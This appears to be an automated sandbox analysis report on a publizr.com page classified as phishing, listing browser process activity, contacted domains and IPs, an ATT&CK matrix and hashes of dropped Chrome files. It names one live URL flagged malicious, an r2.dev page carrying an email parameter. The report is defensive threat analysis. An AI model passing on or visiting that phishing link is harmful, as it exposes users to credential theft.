Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_413624986
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_413624986\cr_en-us_500000_index.bin
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_413624986\manifest.json
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_413624986\_metadata\
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_413624986\_metadata\verified_contents.json
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_413624986\manifest.fingerprint
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\scoped_dir6188_412047623
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\keys.json
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\manifest.json
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\LICENSE
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\_metadata\
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\_metadata\verified_contents.json
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\manifest.fingerprint

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6188_1772703398

Source: classification engine

Classification label: mal68.phis.win@24/44@46/267

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2020,i,2644708233931242252,9568175255480677449,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://publizr.com/alliedcon/allied-construction"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2020,i,2644708233931242252,9568175255480677449,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
https://publizr.com/alliedcon/allied-construction	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://cdnjs.cloudflare.com/ajax/libs/swfobject/2.2/swfobject.min.js	0%	Avira URL Cloud	safe
https://cdn.jsdelivr.net/npm/cookieconsent@3/build/cookieconsent.min.css	0%	Avira URL Cloud	safe
https://cdn.jsdelivr.net/npm/cookieconsent@3/build/cookieconsent.min.js	0%	Avira URL Cloud	safe
https://wurfl.io/wurfl.js	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	0%	Avira URL Cloud	safe
https://wurfl.io/async-detect	0%	Avira URL Cloud	safe
https://web.wurfl.io/async-detect	0%	Avira URL Cloud	safe
https://mircorngroup.com/ll/attach/js/2eiibhs9AHV7DpKD411ARKpLza2na22ib22EjDWI0gODPBgiR4.js	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=KHHjkeojnMrubGiWsSqLDJIfNQxuEXr5EgyN%2FNHBW3uTlVm%2FfsrXfuBkBSSC3OUTekt7qLfR%2FoCcpXTDkXJ%2FGVlcIqRxVO%2FHGpRKbXXuT662%2BEc0yCYgVv0%2F4p5O	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.193.229	true	false	high
host9.scientiamobile.com	70.42.150.198	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
wurfl.io	52.215.108.222	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
o.createyourmagazine.com	104.21.80.1	true	false	unknown
publizr.com	172.67.72.60	true	false	unknown
pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev	162.159.140.237	true	true	unknown
googleads.g.doubleclick.net	216.58.206.34	true	false	high
mircorngroup.com	66.96.130.86	true	false	unknown
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
wicked.bigpoliceman.com	104.21.27.207	true	false	high
www.google.com	172.217.16.196	true	false	high
api.ipify.org	104.26.13.205	true	false	high
web.wurfl.io	unknown	unknown	false	unknown
cdn.jsdelivr.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdnjs.cloudflare.com/ajax/libs/swfobject/2.2/swfobject.min.js	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/cookieconsent@3/build/cookieconsent.min.css	false	Avira URL Cloud: safe	unknown
https://wurfl.io/async-detect	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://mircorngroup.com/ll/attach/js/2eiibhs9AHV7DpKD411ARKpLza2na22ib22EjDWI0gODPBgiR4.js	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=KHHjkeojnMrubGiWsSqLDJIfNQxuEXr5EgyN%2FNHBW3uTlVm%2FfsrXfuBkBSSC3OUTekt7qLfR%2FoCcpXTDkXJ%2FGVlcIqRxVO%2FHGpRKbXXuT662%2BEc0yCYgVv0%2F4p5O	false	Avira URL Cloud: safe	unknown
https://web.wurfl.io/async-detect	false	Avira URL Cloud: safe	unknown
https://publizr.com/alliedcon/allied-construction?html=true#/0/	false		unknown
https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#x{EMAIL}	true		unknown
https://cdn.jsdelivr.net/npm/cookieconsent@3/build/cookieconsent.min.js	false	Avira URL Cloud: safe	unknown
https://wurfl.io/wurfl.js	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.159.140.237	pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev	United States	13335	CLOUDFLARENETUS	true
151.101.193.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
216.58.206.34	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
104.21.64.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.80.1	o.createyourmagazine.com	United States	13335	CLOUDFLARENETUS	false
104.26.14.246	unknown	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.184.227	unknown	United States	15169	GOOGLEUS	false
172.217.18.10	unknown	United States	15169	GOOGLEUS	false
216.58.212.130	unknown	United States	15169	GOOGLEUS	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
142.250.184.206	unknown	United States	15169	GOOGLEUS	false
142.250.110.84	unknown	United States	15169	GOOGLEUS	false
142.250.185.67	unknown	United States	15169	GOOGLEUS	false
142.250.185.68	unknown	United States	15169	GOOGLEUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
172.217.16.206	unknown	United States	15169	GOOGLEUS	false
66.96.130.86	mircorngroup.com	United States	29873	BIZLAND-SDUS	false
104.21.27.207	wicked.bigpoliceman.com	United States	13335	CLOUDFLARENETUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
3.248.16.23	unknown	United States	16509	AMAZON-02US	false
142.250.185.131	unknown	United States	15169	GOOGLEUS	false
172.67.72.60	publizr.com	United States	13335	CLOUDFLARENETUS	false
142.250.186.142	unknown	United States	15169	GOOGLEUS	false
52.215.108.222	wurfl.io	United States	16509	AMAZON-02US	false
70.42.150.198	host9.scientiamobile.com	United States	10913	INTERNAP-BLKUS	false
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.74.152	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1633724
Start date and time:	2025-03-10 14:34:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://publizr.com/alliedcon/allied-construction
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.win@24/44@46/267

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.142, 142.250.184.227, 172.217.16.206, 142.250.110.84, 172.217.18.14, 142.250.184.206, 142.250.184.238, 172.217.18.10
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, redirector.gvt1.com, ajax.googleapis.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://publizr.com/alliedcon/allied-construction

Created / dropped Files

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Reputation:	unknown
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.00682540004288
Encrypted:	false
SSDEEP:
MD5:	28706AD42E4C615A683C2494BC0BD2AF
SHA1:	6B0465B3D5E85A3EA76C646BA8652C4DC0248DC0
SHA-256:	709BBB3E3A17E2B7BBF9F4AFDCF465312695342CE4EB203DF284233EACEE086F
SHA-512:	E95DA92F1AD5F56EF61A5992A1B465D46F36EFF1FC85643CC5AB3F357B6F14D81A5B5590D0E18D4DA5FCC3AC537A469FD0C15B116A3471536707A9716119FA5F
Malicious:	false
Reputation:	unknown
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6ImtleXMuanNvbiIsInJvb3RfaGFzaCI6IlJ1R2ZTVTVlZVdiRHczOVpOMmQ5NHhIRkJuY2JNMWxtZXgybk5ZVmhMU00ifSx7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiVXdpQzFfVTFybGVra0d5bk5iRVp5ZU5rZ011M2dNZm9yVGZKeVAzejJiRSJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImtpYWJoYWJqZGJramRwamJwaWdmb2RiZGptYmdsY29vIiwiaXRlbV92ZXJzaW9uIjoiMjAyNS4xLjE3LjEiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"DjJ0cJJFQPGNShH6cqF0KMXYB9LDN7hZ0z-M2b0RfT3cl9Mxp62MiQM0bqevSkL0tNe9rHL_VWqPqY7PDdCoumMJ-TVwboLlLJq3c1H9NYQgQ-nQS4F3mFBvP0YJ-Kunf6byMQnF4FLGqtuRouNWZBUqyahkm__1_0-5qoAVqSms3wmBnmVhb1z4p-I6jEjko0pLBq4dad2vH7G6THiOPP15L1ozQ42gvfw5aLvn_Itjpwq7GaU9lNv

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\keys.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6690
Entropy (8bit):	5.981211959058716
Encrypted:	false
SSDEEP:
MD5:	BEF4F9F856321C6DCCB47A61F605E823
SHA1:	8E60AF5B17ED70DB0505D7E1647A8BC9F7612939
SHA-256:	FD1847DF25032C4EEF34E045BA0333F9BD3CB38C14344F1C01B48F61F0CFD5C5
SHA-512:	BDEC3E243A6F39BFEA4130C85B162EA00A4974C6057CD06A05348AC54517201BBF595FCC7C22A4AB2C16212C6009F58DF7445C40C82722AB4FA1C8D49D39755C
Malicious:	false
Reputation:	unknown
Preview:	{"https://issuer.captchafox.com":{"PrivateStateTokenV1VOPRF":{"batchsize":1,"id":1,"keys":{"0":{"Y":"AAAAAQQiyE+SESbq7GU5rTx6tZO4tBOxljp+Oya2mU28O+YoALIyXlLLqnl/h5h95ExYSsOlmMIb8EdsJBTrCaDl/KIZSskrfMbZpjhShG0jwnbXojEHI9WaAxKLkX/A/DkyMEg=","expiry":"1734807628115000"},"1":{"Y":"AAAAAQRNtld+5LLBquS4bEJKJwlLw61tzIyqTNkvMVnUTu+YiphbdGrRCjeDTN9D3p1Tgpfmq0N/OKMBYWzDMEN8Km9p9s49c6N2ph4B1MV1m7Ogdj969MOsTw54Kc849oqDl8s=","expiry":"1734807628115000"},"2":{"Y":"AAAAAQSBWW003A3ORFURCZrWNnbEIH15yzk184DaLSebbGzRdyCYtAM1qhhVmXZyBtWTzh6Bfkk5rLPyE1xdQilofPBizF/QJsdaMU0GYhPW1sOU4xoKbmgd/XrnOoFqA2ETOuc=","expiry":"1734807628115000"},"3":{"Y":"AAAAAQSG/ftGdm5B6iwAmVsHt6s43xx3nRf/Vpx9GdeEt3jSTM8hHvyLE9FAEkinGjt4Fp5EjnkCdE96Cxz10nZJRrMApIrGhG5kAoDu4T8PjJPiFQFyHAOdTG7OJWi2NS/rl1A=","expiry":"1734807628115000"},"4":{"Y":"AAAAAQT36tqe550UP5A+4Eokt8iuPZEuWQc9cGJXd7zUCZzrsqtGu3PMcVbOj5DjC4W+yoyF3HqKOqdtiBWgcMsZOcyln/6jUKqf5tS9AoIHa9CC3kQB8ISQd3lhR5j+qWVY8ms=","expiry":"1734807628115000"},"5":{"Y":"AAAAAQQMjaLNCR

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.005340674128682
Encrypted:	false
SSDEEP:
MD5:	030D9E3F4502E24594ABCA380C073974
SHA1:	AE068D4F8C668477DD8F4BC2892F09D0802130E0
SHA-256:	FD86A9E808BCC78B926C111633615D9A807D60A20CE2BAC7360915336ABB738F
SHA-512:	F28A0311A80FE81965874AE5A46161A7658E149AA48E26B81C500339461B84F2EB53193AEF4E4C78AADB7191AC4518E81BBFB1672CE6077200CC6DF5FAC4054B
Malicious:	false
Reputation:	unknown
Preview:	1.1987650928271ad440c2b8a50f309139de82c742fb6f1f3ea055b35718ac46e7

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.442932812379182
Encrypted:	false
SSDEEP:
MD5:	7F4B594A35D631AF0E37FEA02DF71E72
SHA1:	F7BC71621EA0C176CA1AB0A3C9FE52DBCA116F57
SHA-256:	530882D7F535AE57A4906CA735B119C9E36480CBB780C7E8AD37C9C8FDF3D9B1
SHA-512:	BF3F92F5023F0FBAD88526D919252A98DB6D167E9CA3E15B94F7D71DED38A2CFB0409F57EF24708284DDD965BDA2D3207CD99C008B1C9C8C93705FD66AC86360
Malicious:	false
Reputation:	unknown
Preview:	{. "manifest_version": 2,. "name": "trustToken",. "version": "2025.1.17.1".}

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_413624986\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1796
Entropy (8bit):	6.0326523975364355
Encrypted:	false
SSDEEP:
MD5:	59850E67B397DF8B02B88409C5D08128
SHA1:	6B2FC56AA0A5433E9412D9B57B5BC54E9C02946F
SHA-256:	199A321F4AA54ED09CF4B91BF984A1D1FBA7B4492CA982D3BF519567F7118C93
SHA-512:	2984EF15ADB6AF225CA1CCFEA20DFDC8D26F2F6CE0D86D1E0FBDF8B38D868E7154619F1A082065E0CC93C436A3E56393B8CD9D8BBD37625BEEF73D37830A3CDD
Malicious:	false
Reputation:	unknown
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJjcl9lbi11c181MDAwMDBfaW5kZXguYmluIiwicm9vdF9oYXNoIjoiY0VfQV9RZVNSVmVYZDNsWThsYWo2NGM1TnNHZV9udER1SWozV2VIbDJpdyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJaQ3ZZa3N6bzhEYnpUNW9fbF9CM1hLOHo3WkNjRU9jeWdVRGFjZW1wTm9vIn1dLCJmb3JtYXQiOiJ0cmVlaGFzaCIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoib2JlZGJiaGJwbW9qbmthbmljaW9nZ25tZWxtb29tb2MiLCJpdGVtX3ZlcnNpb24iOiIyMDI1MDIyNi43MzI3MzQ4NTguMTQiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"ImUbG425T6Qyhzx9tu-u8PQm2zsnQdbnnETwo7Pw69spyNZQyGEEKG7DvUbjesAdlV2xegsAEkK6qYk8NwtBh7fTmnWu2dmS4m3ievAaeRBRVjvl_UdcpuS8r7rK6NYtt8bxEIqsmzrlyCLqGsXhgUu7vgo02-LkQdf9av3P8k7MXpWkeP8VQE6MIqIdqZJpZBLXW380_wS0SngaPKdKbHE8B9PwMj-9F3HdnWjsHSpWy2QVf3uQHup42Oj8SuAdk8Ae0nXfbP75n-Wv0TGZW6SSnVM6nx1sAHKV15S55joHLse3PoZsf3XYbEF

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_413624986\cr_en-us_500000_index.bin

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	7966831
Entropy (8bit):	6.5710856188691045
Encrypted:	false
SSDEEP:
MD5:	96A9906A0E5EF41319DFD824C1502B2F
SHA1:	109F8678973983BB5BF01A4EADE9949A93F473D2
SHA-256:	0864AB03C112A93CD5F504DD304A0A2A947FDD2DF6C1EEA443F7F7BC01158EB2
SHA-512:	2A0E34653B3B3371F7A0770DA19E5F009C6734E16AE8D597F19AD5CC8F30DE07142EF7727DAFB0BCBFDCD2C00E11D531DDEC52CBA4FC23154D16423FAB850106
Malicious:	false
Reputation:	unknown
Preview:	......w.....a.@...t.. ..yE./..h.Z0..fm A..g.{I..c_`Q..r.of..e#.n..n..u..l.Z\|..u.<...b1o...d+....pE...z.....me....i....s=....o.....v.....k.J...x.....j.h...1. ...5OH...qw....4_b...2m....7'....9.....3)....6k....8E..........0g....*e.......................... ......M....&..........%.... ....... . .........a..............K.....ngela aguilar.{........$!....... O.....lafur darri .lafsson.....#......rsula corber....../............(......... to usd...... meaningh.........-]..... .... ..................B...........r eldon.o.........sad.ra bjarkard.ttir barney.].... meaning6S.... meaningF6....5...... meaning..........)9............. 2025....(_...... .. .. ...K.... meaning\J........ . .....87..@........ ......."...lker...... ..... meaning....... .. . .... ......................... meaning...... meaning.....eviri\|..... meaning.P.... mea

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_413624986\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.9227383481562064
Encrypted:	false
SSDEEP:
MD5:	E8F32C8E59416C90088AABCCED4F4BDB
SHA1:	79B5F0D2D83BD199351EAAFF5182E10A71984CBA
SHA-256:	A4C33924FE36D058C3B160D89EAF608F5A3E52FCA45A64A2B0827AD70AB59BF6
SHA-512:	77EC8F4FBAEEA49CA32A377ABE53A1862AFD746DF1FB2E4EE203EBC4F306A447883EAE99A9DA680B8F170A1A9AD93CF9F040270FB8C0A125853A7B36AF340AF1
Malicious:	false
Reputation:	unknown
Preview:	1.a77dc10f747e4dd1922e396acb7a68ae40ad1a5e50da0b1d3c2c70933e40b8c6

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_413624986\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	108
Entropy (8bit):	4.907303651203512
Encrypted:	false
SSDEEP:
MD5:	709F94730687C52BC01E2B16D4C13F03
SHA1:	8E0E3F11F5B1A3603812BEC35987A65632F3830F
SHA-256:	642BD892CCE8F036F34F9A3F97F0775CAF33ED909C10E7328140DA71E9A9368A
SHA-512:	97661230995099FBBC8061089612746425593132AF548AB2B41C67617501CCE2062AF9EE083E089D992E3BA73A97758CE85D80C041E162271D27A5B3F6394D25
Malicious:	false
Reputation:	unknown
Preview:	{. "manifest_version": 2,. "name": "OnDeviceHeadSuggestENUS500000",. "version": "20250226.732734858.14".}

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "2f65fe0-printer.css", last modified: Mon Nov 25 13:39:54 2024, max compression, from Unix, original size modulo 2^32 1086
Category:	downloaded
Size (bytes):	390
Entropy (8bit):	7.489702087163347
Encrypted:	false
SSDEEP:
MD5:	F38C8DC5C50496249729947E705BF130
SHA1:	14DA013178AF8575AC504442511D2C366C8C6C30
SHA-256:	D230EE4DC221532445E772E7C76BF833D5D7AE35CC4ACDBC8EB6FC848BCA536D
SHA-512:	B081A6BBC0D86324AF36B68F8A530B24CB899B2CF78FBABDA92C9669FC04F37C48A552001759D11F0075DEF82A8441139FA047A9271D35A1C3A038022718896D
Malicious:	false
Reputation:	unknown
URL:	https://publizr.com/css/2f65fe0-printer.css
Preview:	....~Dg..2f65fe0-printer.css..S.n.0........D...\.O.d.d._......:@q...(....z.'.X.rb..q!{+aW.m4U...C.2.#........^.....oB.F...)p-.R..u....(."j....5....v$!.0.......`R.....?.d..}-.wE.Z_..t.....s}]...;.Z.fse.#.$..O.k.\)Xs`..@.....\|d.]..X...Y.m.;@3.@h6.3...8.......u....a...."e0.....X.....C......(...w.....3\N..6.6. ..".E.lTV....1nJ..\|.\.......%.b.$e...d.n.....X.........7..{.>...

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "8bdbaed-printer.js", last modified: Mon Nov 25 13:39:54 2024, max compression, from Unix, original size modulo 2^32 2174
Category:	downloaded
Size (bytes):	826
Entropy (8bit):	7.742353334793681
Encrypted:	false
SSDEEP:
MD5:	91C2CD8322F613343164AF5FA34C049C
SHA1:	DF8F02B5BCD3C7C7E6919716B56B79D50A26E3D2
